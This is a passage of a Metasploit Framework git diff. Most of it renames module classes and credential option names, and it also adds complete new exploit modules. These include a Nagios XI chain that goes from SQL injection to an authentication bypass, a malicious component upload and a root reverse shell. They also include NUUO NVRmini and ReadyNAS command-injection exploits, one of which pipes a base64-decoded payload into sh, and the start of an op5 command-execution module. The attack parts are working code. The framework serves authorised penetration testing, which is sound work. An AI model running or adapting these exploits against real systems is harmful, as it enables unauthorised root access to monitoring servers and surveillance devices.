'index.php/keditorservices/redirectWidgetCmd'), + 'vars_get' => { + 'kdata' => Rex::Text.encode_base64(p) + } + ) + end +end diff --git a/modules/exploits/linux/http/kloxo_sqli.rb b/modules/exploits/linux/http/kloxo_sqli.rb index d1911a1fd9..b041765530 100644 --- a/modules/exploits/linux/http/kloxo_sqli.rb +++ b/modules/exploits/linux/http/kloxo_sqli.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper diff --git a/modules/exploits/linux/http/lifesize_uvc_ping_rce.rb b/modules/exploits/linux/http/lifesize_uvc_ping_rce.rb index 35eace8ecb..05e87087a2 100644 --- a/modules/exploits/linux/http/lifesize_uvc_ping_rce.rb +++ b/modules/exploits/linux/http/lifesize_uvc_ping_rce.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/linux/http/linksys_apply_cgi.rb b/modules/exploits/linux/http/linksys_apply_cgi.rb index e46621bd2a..a51d2dbdd6 100644 --- a/modules/exploits/linux/http/linksys_apply_cgi.rb +++ b/modules/exploits/linux/http/linksys_apply_cgi.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/linux/http/linksys_e1500_apply_exec.rb b/modules/exploits/linux/http/linksys_e1500_apply_exec.rb index c4d7219cd1..1dbfb9f6e8 100644 --- a/modules/exploits/linux/http/linksys_e1500_apply_exec.rb +++ b/modules/exploits/linux/http/linksys_e1500_apply_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient @@ -63,8 +63,8 @@ class Metasploit3 < Msf::Exploit::Remote register_options( [ - OptString.new('USERNAME', [ true, 'The username to authenticate as', 'admin' ]), - OptString.new('PASSWORD', [ true, 'The password for the specified username', 'admin' ]), + OptString.new('HttpUsername', [ true, 'The username to authenticate as', 'admin' ]), + OptString.new('HttpPassword', [ true, 'The password for the specified username', 'admin' ]), OptAddress.new('DOWNHOST', [ false, 'An alternative host to request the MIPS payload from' ]), OptString.new('DOWNFILE', [ false, 'Filename to download, (default: random)' ]), OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 60]) @@ -100,8 +100,8 @@ class Metasploit3 < Msf::Exploit::Remote def exploit downfile = datastore['DOWNFILE'] || rand_text_alpha(8+rand(8)) uri = '/apply.cgi' - user = datastore['USERNAME'] - pass = datastore['PASSWORD'] + user = datastore['HttpUsername'] + pass = datastore['HttpPassword'] rhost = datastore['RHOST'] rport = datastore['RPORT'] diff --git a/modules/exploits/linux/http/linksys_themoon_exec.rb b/modules/exploits/linux/http/linksys_themoon_exec.rb index 16b771a9f4..57b9e6e986 100644 --- a/modules/exploits/linux/http/linksys_themoon_exec.rb +++ b/modules/exploits/linux/http/linksys_themoon_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/linux/http/linksys_wrt110_cmd_exec.rb b/modules/exploits/linux/http/linksys_wrt110_cmd_exec.rb index 07ef38cb19..42588991ae 100644 --- a/modules/exploits/linux/http/linksys_wrt110_cmd_exec.rb +++ b/modules/exploits/linux/http/linksys_wrt110_cmd_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient @@ -43,8 +43,8 @@ class Metasploit3 < Msf::Exploit::Remote )) register_options([ - OptString.new('USERNAME', [ false, 'Valid router administrator username', 'admin']), - OptString.new('PASSWORD', [ false, 'Password to login with', 'admin']), + OptString.new('HttpUsername', [ false, 'Valid router administrator username', 'admin']), + OptString.new('HttpPassword', [ false, 'Password to login with', 'admin']), OptAddress.new('RHOST', [true, 'The address of the router', '192.168.1.1']), OptInt.new('TIMEOUT', [false, 'The timeout to use in every request', 20]) ], self.class) @@ -106,11 +106,11 @@ class Metasploit3 < Msf::Exploit::Remote # Helper methods def user - datastore['USERNAME'] + datastore['HttpUsername'] end def pass - datastore['PASSWORD'] || '' + datastore['HttpPassword'] || '' end def send_auth_request_cgi(opts={}, timeout=nil) diff --git a/modules/exploits/linux/http/linksys_wrt160nv2_apply_exec.rb b/modules/exploits/linux/http/linksys_wrt160nv2_apply_exec.rb index 289ad49c36..d375f3b7f9 100644 --- a/modules/exploits/linux/http/linksys_wrt160nv2_apply_exec.rb +++ b/modules/exploits/linux/http/linksys_wrt160nv2_apply_exec.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex/proto/tftp' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient @@ -65,8 +65,8 @@ class Metasploit3 < Msf::Exploit::Remote register_options( [ - OptString.new('USERNAME', [ true, 'The username to authenticate as', 'admin' ]), - OptString.new('PASSWORD', [ true, 'The password for the specified username', 'admin' ]), + OptString.new('HttpUsername', [ true, 'The username to authenticate as', 'admin' ]), + OptString.new('HttpPassword', [ true, 'The password for the specified username', 'admin' ]), OptAddress.new('LHOST', [ true, 'The listen IP address from where the victim downloads the MIPS payload' ]), OptString.new('DOWNFILE', [ false, 'Filename to download, (default: random)' ]), OptInt.new('DELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 10]) @@ -102,8 +102,8 @@ class Metasploit3 < Msf::Exploit::Remote def exploit downfile = datastore['DOWNFILE'] || rand_text_alpha(8+rand(4)) uri = '/apply.cgi' - user = datastore['USERNAME'] - pass = datastore['PASSWORD'] + user = datastore['HttpUsername'] + pass = datastore['HttpPassword'] lhost = datastore['LHOST'] # diff --git a/modules/exploits/linux/http/linksys_wrt54gl_apply_exec.rb b/modules/exploits/linux/http/linksys_wrt54gl_apply_exec.rb index 34f3ec1421..d889ea6568 100644 --- a/modules/exploits/linux/http/linksys_wrt54gl_apply_exec.rb +++ b/modules/exploits/linux/http/linksys_wrt54gl_apply_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking include Msf::Exploit::Remote::HttpClient @@ -65,8 +65,8 @@ class Metasploit3 < Msf::Exploit::Remote register_options( [ - OptString.new('USERNAME', [ true, 'The username to authenticate as', 'admin' ]), - OptString.new('PASSWORD', [ true, 'The password for the specified username', 'admin' ]), + OptString.new('HttpUsername', [ true, 'The username to authenticate as', 'admin' ]), + OptString.new('HttpPassword', [ true, 'The password for the specified username', 'admin' ]), OptAddress.new('DOWNHOST', [ false, 'An alternative host to request the MIPS payload from' ]), OptString.new('DOWNFILE', [ false, 'Filename to download, (default: random)' ]), OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 60]), @@ -243,8 +243,8 @@ class Metasploit3 < Msf::Exploit::Remote def exploit downfile = datastore['DOWNFILE'] || rand_text_alpha(8+rand(8)) uri = '/apply.cgi' - user = datastore['USERNAME'] - pass = datastore['PASSWORD'] + user = datastore['HttpUsername'] + pass = datastore['HttpPassword'] rhost = datastore['RHOST'] rport = datastore['RPORT'] restore = datastore['RESTORE_CONF'] diff --git a/modules/exploits/linux/http/multi_ncc_ping_exec.rb b/modules/exploits/linux/http/multi_ncc_ping_exec.rb index 41bace5c42..2006f04b3d 100644 --- a/modules/exploits/linux/http/multi_ncc_ping_exec.rb +++ b/modules/exploits/linux/http/multi_ncc_ping_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking # Only tested on Emulated environment include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/linux/http/mutiny_frontend_upload.rb b/modules/exploits/linux/http/mutiny_frontend_upload.rb index f2b62feae3..a80a737cb1 100644 --- a/modules/exploits/linux/http/mutiny_frontend_upload.rb +++ b/modules/exploits/linux/http/mutiny_frontend_upload.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking HttpFingerprint = { :pattern => [ /Apache-Coyote/ ] } diff --git a/modules/exploits/linux/http/nagios_xi_chained_rce.rb b/modules/exploits/linux/http/nagios_xi_chained_rce.rb new file mode 100644 index 0000000000..aef21befe8 --- /dev/null +++ b/modules/exploits/linux/http/nagios_xi_chained_rce.rb @@ -0,0 +1,275 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Nagios XI Chained Remote Code Execution', + 'Description' => %q{ + This module exploits an SQL injection, auth bypass, file upload, + command injection, and privilege escalation in Nagios XI <= 5.2.7 + to pop a root shell. + }, + 'Author' => [ + 'Francesco Oddo', # Vulnerability discovery + 'wvu' # Metasploit module + ], + 'References' => [ + ['EDB', '39899'] + ], + 'DisclosureDate' => 'Mar 6 2016', + 'License' => MSF_LICENSE, + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Privileged' => true, + 'Payload' => { + 'Compat' => { + 'PayloadType' => 'cmd cmd_bash', + 'RequiredCmd' => 'generic bash-tcp php perl python openssl gawk' + } + }, + 'Targets' => [ + ['Nagios XI <= 5.2.7', version: Gem::Version.new('5.2.7')] + ], + 'DefaultTarget' => 0, + 'DefaultOptions' => { + 'PAYLOAD' => 'cmd/unix/reverse_bash', + 'LHOST' => Rex::Socket.source_address + } + )) + end + + def check + res = send_request_cgi!( + 'method' => 'GET', + 'uri' => '/nagiosxi/' + ) + + return unless res && (html = res.get_html_document) + + if (version = html.at('//input[@name = "version"]/@value')) + vprint_status("Nagios XI version: #{version}") + if Gem::Version.new(version) <= target[:version] + return CheckCode::Appears + end + end + + CheckCode::Safe + end + + def exploit + if check != CheckCode::Appears + fail_with(Failure::NotVulnerable, 'Vulnerable version not found! punt!') + end + + print_status('Getting API token') + get_api_token + print_status('Getting admin cookie') + get_admin_cookie + print_status('Getting monitored host') + get_monitored_host + + print_status('Downloading component') + download_profile_component + print_status('Uploading root shell') + upload_root_shell + print_status('Popping shell!') + pop_dat_shell + end + + # + # Cleanup methods + # + + def on_new_session(session) + super + + print_status('Cleaning up...') + + commands = [ + 'rm -rf ../profile', + 'unzip -qd .. ../../../../tmp/component-profile.zip', + 'chown -R nagios:nagios ../profile', + "rm -f ../../../../tmp/component-#{zip_filename}" + ] + + commands.each do |command| + vprint_status(command) + session.shell_command_token(command) + end + end + + # + # Exploit methods + # + + def get_api_token + res = send_request_cgi( + 'method' => 'GET', + 'uri' => '/nagiosxi/includes/components/nagiosim/nagiosim.php', + 'vars_get' => { + 'mode' => 'resolve', + 'host' => '\'AND(SELECT 1 FROM(SELECT COUNT(*),CONCAT((' \ + 'SELECT backend_ticket FROM xi_users WHERE user_id=1' \ + '),FLOOR(RAND(0)*2))x ' \ + 'FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)-- ' + } + ) + + if res && res.body =~ /Duplicate entry '(.*?).'/ + @api_token = $1 + vprint_good("API token: #{@api_token}") + else + fail_with(Failure::UnexpectedReply, 'API token not found! punt!') + end + end + + def get_admin_cookie + res = send_request_cgi( + 'method' => 'GET', + 'uri' => '/nagiosxi/rr.php', + 'vars_get' => { + 'uid' => "1-#{Rex::Text.rand_text_alpha(8)}-" + + Digest::MD5.hexdigest(@api_token) + } + ) + + if res && (@admin_cookie = res.get_cookies.split('; ').last) + vprint_good("Admin cookie: #{@admin_cookie}") + get_csrf_token(res.body) + else + fail_with(Failure::NoAccess, 'Admin cookie not found! punt!') + end + end + + def get_csrf_token(body) + if body =~ /nsp_str = "(.*?)"/ + @csrf_token = $1 + vprint_good("CSRF token: #{@csrf_token}") + else + fail_with(Failure::UnexpectedReply, 'CSRF token not found! punt!') + end + end + + def get_monitored_host + res = send_request_cgi( + 'method' => 'GET', + 'uri' => '/nagiosxi/ajaxhelper.php', + 'cookie' => @admin_cookie, + 'vars_get' => { + 'cmd' => 'getxicoreajax', + 'opts' => '{"func":"get_hoststatus_table"}', + 'nsp' => @csrf_token + } + ) + + return unless res && (html = res.get_html_document) + + if (@monitored_host = html.at('//div[@class = "hostname"]/a/text()')) + vprint_good("Monitored host: #{@monitored_host}") + else + fail_with(Failure::UnexpectedReply, 'Monitored host not found! punt!') + end + end + + def download_profile_component + res = send_request_cgi( + 'method' => 'GET', + 'uri' => '/nagiosxi/admin/components.php', + 'cookie' => @admin_cookie, + 'vars_get' => { + 'download' => 'profile' + } + ) + + if res && res.body =~ /^PK\x03\x04/ + @profile_component = res.body + else + fail_with(Failure::UnexpectedReply, 'Failed to download component! punt!') + end + end + + def upload_root_shell + mime = Rex::MIME::Message.new + mime.add_part(@csrf_token, nil, nil, 'form-data; name="nsp"') + mime.add_part('1', nil, nil, 'form-data; name="upload"') + mime.add_part('1000000', nil, nil, 'form-data; name="MAX_FILE_SIZE"') + mime.add_part(payload_zip, 'application/zip', 'binary', + 'form-data; name="uploadedfile"; ' \ + "filename=\"#{zip_filename}\"") + + res = send_request_cgi!( + 'method' => 'POST', + 'uri' => '/nagiosxi/admin/components.php', + 'cookie' => @admin_cookie, + 'ctype' => "multipart/form-data; boundary=#{mime.bound}", + 'data' => mime.to_s + ) + + if res && res.code != 200 + if res.redirect? && res.redirection.path == '/nagiosxi/install.php' + vprint_warning('Nagios XI not configured') + else + fail_with(Failure::PayloadFailed, 'Failed to upload root shell! punt!') + end + end + end + + def pop_dat_shell + send_request_cgi( + 'method' => 'GET', + 'uri' => '/nagiosxi/includes/components/perfdata/graphApi.php', + 'cookie' => @admin_cookie, + 'vars_get' => { + 'host' => @monitored_host, + 'end' => ';sudo ../profile/getprofile.sh #' + } + ) + end + + # + # Support methods + # + + def payload_zip + zip = Rex::Zip::Archive.new + + Zip::File.open_buffer(@profile_component) do |z| + z.each do |f| + zip.entries << Rex::Zip::Entry.new( + f.name, + (if f.ftype == :file + if f.name == 'profile/getprofile.sh' + payload.encoded + else + z.read(f) + end + else + '' + end), + Rex::Zip::CM_DEFLATE, + nil, + (Rex::Zip::EFA_ISDIR if f.ftype == :directory) + ) + end + end + + zip.pack + end + + # + # Utility methods + # + + def zip_filename + @zip_filename ||= Rex::Text.rand_text_alpha(8) + '.zip' + end + +end diff --git a/modules/exploits/linux/http/netgear_dgn1000b_setup_exec.rb b/modules/exploits/linux/http/netgear_dgn1000b_setup_exec.rb index e4c2587641..6caa30d7f8 100644 --- a/modules/exploits/linux/http/netgear_dgn1000b_setup_exec.rb +++ b/modules/exploits/linux/http/netgear_dgn1000b_setup_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient @@ -65,8 +65,8 @@ class Metasploit3 < Msf::Exploit::Remote register_options( [ - OptString.new('USERNAME', [ true, 'The username to authenticate as', 'admin' ]), - OptString.new('PASSWORD', [ true, 'The password for the specified username', 'password' ]), + OptString.new('HttpUsername', [ true, 'The username to authenticate as', 'admin' ]), + OptString.new('HttpPassword', [ true, 'The password for the specified username', 'password' ]), OptAddress.new('DOWNHOST', [ false, 'An alternative host to request the MIPS payload from' ]), OptString.new('DOWNFILE', [ false, 'Filename to download, (default: random)' ]), OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 60]) @@ -104,8 +104,8 @@ class Metasploit3 < Msf::Exploit::Remote def exploit downfile = datastore['DOWNFILE'] || rand_text_alpha(8+rand(8)) uri = '/setup.cgi' - user = datastore['USERNAME'] - pass = datastore['PASSWORD'] + user = datastore['HttpUsername'] + pass = datastore['HttpPassword'] rhost = datastore['RHOST'] rport = datastore['RPORT'] diff --git a/modules/exploits/linux/http/netgear_dgn2200b_pppoe_exec.rb b/modules/exploits/linux/http/netgear_dgn2200b_pppoe_exec.rb index 6052481e8b..74d53b5e34 100644 --- a/modules/exploits/linux/http/netgear_dgn2200b_pppoe_exec.rb +++ b/modules/exploits/linux/http/netgear_dgn2200b_pppoe_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking include Msf::Exploit::Remote::HttpClient @@ -65,8 +65,8 @@ class Metasploit3 < Msf::Exploit::Remote register_options( [ - OptString.new('USERNAME', [ true, 'The username to authenticate as', 'admin' ]), - OptString.new('PASSWORD', [ true, 'The password for the specified username', 'password' ]), + OptString.new('HttpUsername', [ true, 'The username to authenticate as', 'admin' ]), + OptString.new('HttpPassword', [ true, 'The password for the specified username', 'password' ]), OptAddress.new('DOWNHOST', [ false, 'An alternative host to request the MIPS payload from' ]), OptString.new('DOWNFILE', [ false, 'Filename to download, (default: random)' ]), OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 60]), @@ -217,8 +217,8 @@ class Metasploit3 < Msf::Exploit::Remote def exploit downfile = datastore['DOWNFILE'] || rand_text_alpha(8+rand(8)) uri = '/pppoe.cgi' - user = datastore['USERNAME'] - pass = datastore['PASSWORD'] + user = datastore['HttpUsername'] + pass = datastore['HttpPassword'] @timeout = datastore['RELOAD_CONF_DELAY'] # diff --git a/modules/exploits/linux/http/netgear_readynas_exec.rb b/modules/exploits/linux/http/netgear_readynas_exec.rb index 2927c2bb20..9a4bc77e7a 100644 --- a/modules/exploits/linux/http/netgear_readynas_exec.rb +++ b/modules/exploits/linux/http/netgear_readynas_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/linux/http/nginx_chunked_size.rb b/modules/exploits/linux/http/nginx_chunked_size.rb index 14e5d58793..2add096256 100644 --- a/modules/exploits/linux/http/nginx_chunked_size.rb +++ b/modules/exploits/linux/http/nginx_chunked_size.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit4 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote include Exploit::Remote::Tcp diff --git a/modules/exploits/linux/http/nuuo_nvrmini_auth_rce.rb b/modules/exploits/linux/http/nuuo_nvrmini_auth_rce.rb new file mode 100644 index 0000000000..7bf437647d --- /dev/null +++ b/modules/exploits/linux/http/nuuo_nvrmini_auth_rce.rb @@ -0,0 +1,176 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'NUUO NVRmini 2 / Crystal / NETGEAR ReadyNAS Surveillance Authenticated Remote Code Execution', + 'Description' => %q{ + The NVRmini 2 Network Video Recorder, Crystal NVR and the ReadyNAS Surveillance application are vulnerable + to an authenticated remote code execution on the exposed web administration interface. An administrative + account is needed to exploit this vulnerability. + This results in code execution as root in the NVRmini and the 'admin' user in ReadyNAS. + This exploit has been tested on several versions of the NVRmini 2, Crystal and the ReadyNAS Surveillance. + It probably also works on the NVRsolo and other Nuuo devices, but it has not been tested + in those devices. + }, + 'Author' => + [ + 'Pedro Ribeiro ' # Vulnerability discovery and MSF module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', '2016-5675'], + ['US-CERT-VU', '856152'], + ['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/nuuo-nvr-vulns.txt'], + ['URL', 'http://seclists.org/bugtraq/2016/Aug/45'] + ], + 'DefaultOptions' => { 'WfsDelay' => 5 }, + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Privileged' => false, # Runs as root in NVRmini 2 / Crystal, admin in ReadyNas + 'Targets' => + [ + [ 'Automatic', { } ], + [ 'NUUO NVRmini 2', { + 'Payload' => + { + 'Space' => 1024, # Actually it might be the GET request length, but this is a safe value + 'DisableNops' => true, + 'Compat' => + { + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'netcat generic perl' + } + }, + }], + [ 'ReadyNAS NETGEAR Surveillance', { + 'Payload' => + { + 'Space' => 1024, # Actually it might be the GET request length, but this is a safe value + 'DisableNops' => true, + 'Compat' => + { + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'netcat generic perl' + } + }, + }], + [ 'NUUO Crystal', { + 'Payload' => + { + 'Space' => 1024, # Actually it might be the GET request length, but this is a safe value + 'DisableNops' => true, + 'Compat' => + { + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'bash' + } + }, + }], + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Aug 4 2016')) + + register_options( + [ + Opt::RPORT(8081), + OptString.new('TARGETURI', [true, "Application path", '/']), + OptString.new('USERNAME', [true, 'The username to login as', 'admin']), + OptString.new('PASSWORD', [true, 'Password for the specified username', 'admin']), + ], self.class) + end + + + def id_target + return target if target.name != 'Automatic' + res = send_request_cgi({ + 'uri' => normalize_uri(datastore['TARGETURI']) + }) + if res && res.code == 200 + if res.body.to_s =~ /var VENDOR_NAME = "Netgear";/ + print_status("#{peer} - Identified NETGEAR ReadyNAS Surveillance as the target.") + return targets[2] + elsif res.body.to_s =~ /v_web_login_login_type/ + print_status("#{peer} - Identified NUUO Crystal as the target.") + return targets[3] + else + print_status("#{peer} - Identified NUUO NVRMini 2 as the target.") + return targets[1] + end + end + end + + + def exploit + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(datastore['TARGETURI'], "login.php"), + 'vars_post' => { + 'user' => datastore['USERNAME'], + 'pass' => datastore['PASSWORD'], + 'submit' => "Login" + } + }) + + if res && (res.code == 200 || res.code == 302) + cookie = res.get_cookies + else + fail_with(Failure::Unknown, "#{peer} - Failed to log in with the provided credentials.") + end + + my_target = id_target + if my_target == targets[1] + if payload.raw.include?("perl") + fail_with(Failure::Unknown, "The NVRmini 2 only supports generic or netcat payloads.") + end + print_status("#{peer} - Executing payload...") + send_request_cgi({ + 'uri' => normalize_uri(datastore['TARGETURI'], "handle_daylightsaving.php"), + 'cookie' => cookie, + 'vars_get' => { + 'act' => "update", + 'NTPServer' => rand_text_alpha(12 + rand(8)) + ";" + payload.encoded + } + }, 1) + elsif my_target == targets[2] + if payload.raw.include?("netcat") + fail_with(Failure::Unknown, "ReadyNAS Surveillance does not support netcat payloads.") + end + # We also have to fix the perl payload - there's an IO import error on the ReadyNAS that blows + # it up. + print_status("#{peer} - Executing payload...") + send_request_cgi({ + 'uri' => normalize_uri(datastore['TARGETURI'], "handle_daylightsaving.php"), + 'cookie' => cookie, + 'vars_get' => { + 'act' => "update", + 'NTPServer' => rand_text_alpha(12 + rand(8)) + ";" + payload.raw.gsub("-MIO ", "-MIO::Socket ") + } + }, 1) + else + if not payload.raw.include?("exec") + fail_with(Failure::Unknown, "NUUO Crystal only supports bash payloads.") + end + print_status("#{peer} - Executing payload...") + send_request_cgi({ + 'uri' => normalize_uri(datastore['TARGETURI'], "handle_daylightsaving.php"), + 'cookie' => cookie, + 'vars_get' => { + 'act' => "update", + 'NTPServer' => rand_text_alpha(12 + rand(8)) + ";" + payload.raw + } + }, 1) + end + handler + end +end diff --git a/modules/exploits/linux/http/nuuo_nvrmini_unauth_rce.rb b/modules/exploits/linux/http/nuuo_nvrmini_unauth_rce.rb new file mode 100644 index 0000000000..acf698d1e0 --- /dev/null +++ b/modules/exploits/linux/http/nuuo_nvrmini_unauth_rce.rb @@ -0,0 +1,152 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'NUUO NVRmini 2 / NETGEAR ReadyNAS Surveillance Unauthenticated Remote Code Execution', + 'Description' => %q{ + The NVRmini 2 Network Video Recorder and the ReadyNAS Surveillance application are vulnerable + to an unauthenticated remote code execution on the exposed web administration interface. + This results in code execution as root in the NVRmini and the 'admin' user in ReadyNAS. + This exploit has been tested on several versions of the NVRmini 2 and the ReadyNAS Surveillance. + It probably also works on the NVRsolo and other Nuuo devices, but it has not been tested + in those devices. + }, + 'Author' => + [ + 'Pedro Ribeiro ' # Vulnerability discovery and MSF module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', '2016-5674'], + ['US-CERT-VU', '856152'], + ['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/nuuo-nvr-vulns.txt'], + ['URL', 'http://seclists.org/bugtraq/2016/Aug/45'] + ], + 'DefaultOptions' => { 'WfsDelay' => 5 }, + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Privileged' => false, # Runs as root in NVRmini 2, admin in ReadyNas + 'Payload' => + { + 'Space' => 1024, # Actually it might be the GET request length, but this is a safe value + 'DisableNops' => true, + # No encoder works, so we have to work around these badchars manually + #'BadChars' => "\x2f\x00\x3b\x27\x22", + 'Compat' => + { + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'openssl generic telnet perl' + } + }, + 'Targets' => + [ + [ 'Automatic', { } ], + [ 'NUUO NVRmini 2', { } ], + [ 'ReadyNAS NETGEAR Surveillance', { } ], + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Aug 4 2016')) + + register_options( + [ + Opt::RPORT(8081), + OptString.new('TARGETURI', [true, "Application path", '/']) + ], self.class) + end + + + def send_payload (payload, wait) + res = send_request_cgi({ + 'uri' => normalize_uri(datastore['TARGETURI'], "__debugging_center_utils___.php"), + 'vars_get' => { 'log' => rand_text_alpha(8 + rand(8)) + ";" + payload } + }, wait) + return res + end + + + def check + echo = rand_text_alpha(9 + rand(9)) + res = send_payload("echo #{echo}", 20) + if res && res.body.to_s =~ /([#{echo}]{2})/ + return Exploit::CheckCode::Vulnerable + else + return Exploit::CheckCode::Safe + end + end + + + def id_target + return target if target.name != 'Automatic' + res = send_request_cgi({ + 'uri' => normalize_uri(datastore['TARGETURI']) + }) + if res && res.code == 200 + if res.body.to_s =~ /var VENDOR_NAME = "Netgear";/ + print_status("#{peer} - Identified NETGEAR ReadyNAS Surveillance as the target.") + return targets[2] + else + print_status("#{peer} - Identified NUUO NVRMini 2 as the target.") + return targets[1] + end + end + end + + + def exploit + my_target = id_target + if my_target == targets[1] + # + # The command cannot have forward slashes, single quotes or double quotes, so we remove + # the redir to /dev/null and the single quotes in the Metasploit payload. Because of the + # latter we also have to remove the "sh -c" part for the command to execute properly. + # + # This all sounds messy, but it was impossible to get any payload to encode properly as the + # target is an embedded system without base64, perl, python, ruby and similar utilities. + # + # We also have to check for perl, awk and lua as these are valid payloads for the ReadyNAS + # but not for the NVRmini 2. + # + # Also because of Metasploit payload limitations we cannot specify different payload constraints + # for different targets, so we use the payload raw for the NVRmini 2 and encoded for the ReadyNAS. + # + if payload.raw.include?("perl") + fail_with(Failure::Unknown, "The NVRmini 2 only supports generic or telnet payloads.") + end + payload_clean = payload.raw.gsub('>/dev/null', '').gsub('sh -c', '').gsub('"','').gsub("'",'') + if not payload_clean =~ /([\/'"]+)/ + print_status("#{peer} - Executing payload...") + send_payload(payload_clean, 1) + handler + else + fail_with(Failure::Unknown, "Your payload cannot have any of the following characters: / ' \"") + end + elsif my_target == targets[2] + # + # The ReadyNAS has less char restrictions (it only fails with forward slash) but it also + # does not have the telnet binary. + # We also have to fix the perl payload - there's an IO import error on the ReadyNAS that blows + # it up. + # + if payload.raw.include? "telnet" + fail_with(Failure::Unknown, "ReadyNAS Surveillance does not support telnet payloads (try openssl or perl).") + end + print_status("#{peer} - Executing payload...") + payload_clean = payload.raw.gsub("-MIO ", "-MIO::Socket ") + send_payload("echo #{Rex::Text.encode_base64(payload_clean)} | base64 -d | sh", 1) + handler + else + fail_with(Failure::Unknown, "Failed to pick a target") + end + end +end diff --git a/modules/exploits/linux/http/op5_config_exec.rb b/modules/exploits/linux/http/op5_config_exec.rb new file mode 100644 index 0000000000..0bd756b76c --- /dev/null +++ b/modules/exploits/linux/http/op5_config_exec.rb @@ -0,0 +1,132 @@ +## +## This module requires Metasploit: http://metasploit.com/download +## Current source: https://github.com/rapid7/metasploit-framework +### + +require 'msf/core' + +class MetasploitModule < Msf::Exploit::Remote + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStager + + Rank = ExcellentRanking + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'op5 v7.1.9 Configuration Command Execution', + 'Description' => %q( + op5 an open source network monitoring software. + The configuration page in version 7.1.9 and below + allows the ability to test a system command, which + can be abused to run arbitrary code as an unpriv user. + ), + 'Author' => + [ + 'h00die ', # module + 'hyp3rlinx' # discovery + ], + 'References' => + [ + [ 'EDB', '39676' ], + [ 'URL', 'https://www.op5.com/blog/news/op5-monitor-7-2-0-release-notes/'] + ], + 'License' => MSF_LICENSE, + 'Platform' => ['linux', 'unix'], + 